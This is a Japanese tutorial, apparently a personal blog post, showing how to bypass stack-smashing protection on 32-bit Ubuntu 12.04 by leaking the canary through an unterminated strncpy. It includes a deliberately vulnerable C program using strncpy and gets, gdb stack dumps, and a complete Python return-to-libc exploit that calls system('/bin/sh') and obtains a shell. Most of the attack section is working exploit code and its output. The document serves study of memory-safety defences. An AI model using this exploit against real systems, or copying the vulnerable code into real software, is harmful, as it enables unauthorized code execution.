スタックバッファオーバーフローを防ぐセキュリティ機構の一つに、SSPがある。 SSPを有効にすると、関数の呼び出し時にスタックにcanaryと呼ばれる値が置かれ、これが書き換えられたとき強制終了するようになる。 しかし、何らかの方法でcanaryの値が知ることができれば、SSPは無効化することができる。 ここでは一例としてstrncpy関数の仕様を利用することにより、SSPが有効な条件下でシェルを起動してみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
スタックバッファオーバーフローが起こせる、次のようなコードを書いてみる。
/* int.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { int size; char buf[100]; char line[10]; setlinebuf(stdout); fgets(buf, sizeof(buf), stdin); size = atoi(buf); fgets(buf, sizeof(buf), stdin); strncpy(line, buf, size); puts(line); gets(line); puts(line); return 0; }
ASLR無効、DEP、SSP有効でコンパイル・実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc int.c $ ./a.out 10 AAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAA AAAAAAAAAAAAAA *** stack smashing detected ***: ./a.out terminated ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0xb7f2feb5] /lib/i386-linux-gnu/libc.so.6(+0x104e6a)[0xb7f2fe6a] ./a.out[0x804864c] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb7e444d3] ./a.out[0x80484e1] ======= Memory map: ======== 08048000-08049000 r-xp 00000000 08:01 1966158 /home/user/tmp/a.out 08049000-0804a000 r--p 00000000 08:01 1966158 /home/user/tmp/a.out 0804a000-0804b000 rw-p 00001000 08:01 1966158 /home/user/tmp/a.out 0804b000-0806c000 rw-p 00000000 00:00 0 [heap] b7e05000-b7e21000 r-xp 00000000 08:01 786476 /lib/i386-linux-gnu/libgcc_s.so.1 b7e21000-b7e22000 r--p 0001b000 08:01 786476 /lib/i386-linux-gnu/libgcc_s.so.1 b7e22000-b7e23000 rw-p 0001c000 08:01 786476 /lib/i386-linux-gnu/libgcc_s.so.1 b7e2a000-b7e2b000 rw-p 00000000 00:00 0 b7e2b000-b7fcf000 r-xp 00000000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fcf000-b7fd1000 r--p 001a4000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fd1000-b7fd2000 rw-p 001a6000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fd2000-b7fd5000 rw-p 00000000 00:00 0 b7fd9000-b7fde000 rw-p 00000000 00:00 0 b7fde000-b7ffe000 r-xp 00000000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so b7ffe000-b7fff000 r--p 0001f000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so b7fff000-b8000000 rw-p 00020000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] Aborted (core dumped)
SSPによりスタックバッファオーバーフローが検知され、強制終了されることがわかる。
スタックの中身を確認してみる
gdbを使い、実行時にスタックの中身がどのようになっているかを確認してみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: ... 0x080485e6 <+114>: mov edx,DWORD PTR [esp+0x18] 0x080485ea <+118>: lea eax,[esp+0x1e] 0x080485ee <+122>: mov DWORD PTR [esp+0x8],edx 0x080485f2 <+126>: mov DWORD PTR [esp+0x4],eax 0x080485f6 <+130>: lea eax,[esp+0x82] 0x080485fd <+137>: mov DWORD PTR [esp],eax 0x08048600 <+140>: call 0x80484a0 <strncpy@plt> 0x08048605 <+145>: lea eax,[esp+0x82] 0x0804860c <+152>: mov DWORD PTR [esp],eax 0x0804860f <+155>: call 0x8048460 <puts@plt> 0x08048614 <+160>: lea eax,[esp+0x82] 0x0804861b <+167>: mov DWORD PTR [esp],eax 0x0804861e <+170>: call 0x8048430 <gets@plt> 0x08048623 <+175>: lea eax,[esp+0x82] 0x0804862a <+182>: mov DWORD PTR [esp],eax 0x0804862d <+185>: call 0x8048460 <puts@plt> 0x08048632 <+190>: mov eax,0x0 0x08048637 <+195>: mov edx,DWORD PTR [esp+0x8c] 0x0804863e <+202>: xor edx,DWORD PTR gs:0x14 0x08048645 <+209>: je 0x804864c <main+216> 0x08048647 <+211>: call 0x8048450 <__stack_chk_fail@plt> 0x0804864c <+216>: leave 0x0804864d <+217>: ret End of assembler dump. (gdb) b *main+160 Breakpoint 1 at 0x8048614 (gdb) r Starting program: /home/user/tmp/a.out 10 AAAAAAAAAA AAAAAAAAAA Breakpoint 1, 0x08048614 in main () (gdb) x/100wx $esp 0xbffff6d0: 0xbffff752 0xbffff6ee 0x0000000a 0xb7ec3b19 0xbffff6e0: 0xbffff71f 0xbffff71e 0x0000000a 0x41413fec 0xbffff6f0: 0x41414141 0x41414141 0x0000000a 0xb7e5e043 0xbffff700: 0x08048312 0x00000000 0x00c10000 0x00000001 0xbffff710: 0xbffff915 0x0000002f 0xbffff76c 0xb7fd0ff4 0xbffff720: 0x08048650 0x08049ff4 0x00000001 0x0804840d 0xbffff730: 0xb7fd13e4 0x00000005 0x08049ff4 0x08048671 0xbffff740: 0xffffffff 0xb7e5e196 0xb7fd0ff4 0xb7e5e225 0xbffff750: 0x4141d280 0x41414141 0x41414141 0xeffff100 0xbffff760: 0x08048650 0x00000000 0x00000000 0xb7e444d3 ... (gdb) x/wx $esp+0x8c 0xbffff75c: 0xeffff100
ディスアセンブル結果から、$esp+0x1e
にbuf変数、$esp+0x82
にline変数、$esp+0x8c
にcanaryが置かれていることがわかる。
また、繰り返し実行することでcanaryの値が実行するたびに変わることもわかる。
ところで、strncpy関数はコピー元の文字列が指定した最大長を越えたとき、コピー先の文字列がNULL文字(\x00)で終端されない仕様になっている。 したがって、コード中で明示的にコピー先文字列の末尾にNULL文字をセットしないと、その先にあるデータまで文字列の一部として扱われてしまう。 今回のコードにはこの明示的なNULL文字セットが行われていないという問題(Improper Null Termination)がある。
上の場合、line変数がNULL終端されずに書き込まれてしまっているが、canaryの下位1バイトが\x00であるため、それ以上文字列としては出力されずに終わっている。 実際、canaryはstrcpy関数などによる読み書きを防ぐために、下位1バイトが必ず\x00となるようになっている。
ここで、sizeを1増やしてもう一度実行してみる。
(gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user/tmp/a.out 11 AAAAAAAAAAA AAAAAAAAAAA��EP� Breakpoint 1, 0x08048614 in main () (gdb) x/100wx $esp 0xbffff6d0: 0xbffff752 0xbffff6ee 0x0000000b 0xb7ec3b19 0xbffff6e0: 0xbffff71f 0xbffff71e 0x0000000b 0x41413fec 0xbffff6f0: 0x41414141 0x41414141 0x00000a41 0xb7e5e043 0xbffff700: 0x08048312 0x00000000 0x00c10000 0x00000001 0xbffff710: 0xbffff915 0x0000002f 0xbffff76c 0xb7fd0ff4 0xbffff720: 0x08048650 0x08049ff4 0x00000001 0x0804840d 0xbffff730: 0xb7fd13e4 0x00000005 0x08049ff4 0x08048671 0xbffff740: 0xffffffff 0xb7e5e196 0xb7fd0ff4 0xb7e5e225 0xbffff750: 0x4141d280 0x41414141 0x41414141 0x45c49941 0xbffff760: 0x08048650 0x00000000 0x00000000 0xb7e444d3 ... (gdb) x/wx $esp+0x8c 0xbffff75c: 0x45c49941 (gdb) q A debugging session is active. Inferior 1 [process 1918] will be killed. Quit anyway? (y or n) y
このとき、line変数の先にあるcanaryの下位1バイトが書き換えられることにより、puts関数でcanaryの値が出力されている。 このまま関数が終了するとSSPによりcanaryの書き換えが検知され強制終了が起こるが、それまでの間にスタックバッファオーバーフローを起こせる状況があればSSPを回避することができる。 ここでは話を単純にするため直後のgets関数でスタックバッファオーバーフローを起こすことにするが、実際は途中で呼び出される別の関数の中でもよい。
エクスプロイトコードを書いてみる
上で説明した方法でcanaryの値を読み出し、SSPを回避するエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE base_libc = int(sys.argv[1], 16) bufsize = int(sys.argv[2]) addr_libc_system = base_libc + 0x0003f430 # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system" addr_libc_exit = base_libc + 0x00032fb0 # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " exit" addr_libc_binsh = base_libc + 0x161d98 # strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh" p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) buf = 'A' * (bufsize+1) p.stdin.write("%d\n" % len(buf)) p.stdin.write("%s\n" % buf) line = p.stdout.readline() canary = '\x00' + line[bufsize+1:bufsize+4] print "[+] canary = %r" % canary buf = 'A' * bufsize buf += canary buf += 'AAAA' * 3 buf += struct.pack('<I', addr_libc_system) buf += struct.pack('<I', addr_libc_exit) buf += struct.pack('<I', addr_libc_binsh) p.stdin.write("%s\n" % buf) line = p.stdout.readline() print repr(line) p.stdin.write('exec <&2 >&2\n') p.wait()
このコードは、libcのベースアドレス、canary読み出しおよびスタックバッファオーバーフローに使われるバッファ(line変数)のサイズを順に引数に取る。 DEP回避のためreturn-to-libcでsystem関数を呼び出し、起動させたシェルに対しexec組み込みコマンドを使い標準入出力を端末に差し替える。
SSPで強制終了した際のエラー出力などからlibcのベースアドレスを調べ、エクスプロイトコードを実行してみる。
$ python exploit.py 0xb7e2b000 10 [+] canary = '\x00\xc5\x80\xdc' 'AAAAAAAAAA\n' id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
SSPが有効な条件下で、Improper Null Terminationを利用したcanary読み出しによりSSPが回避できていることが確認できた。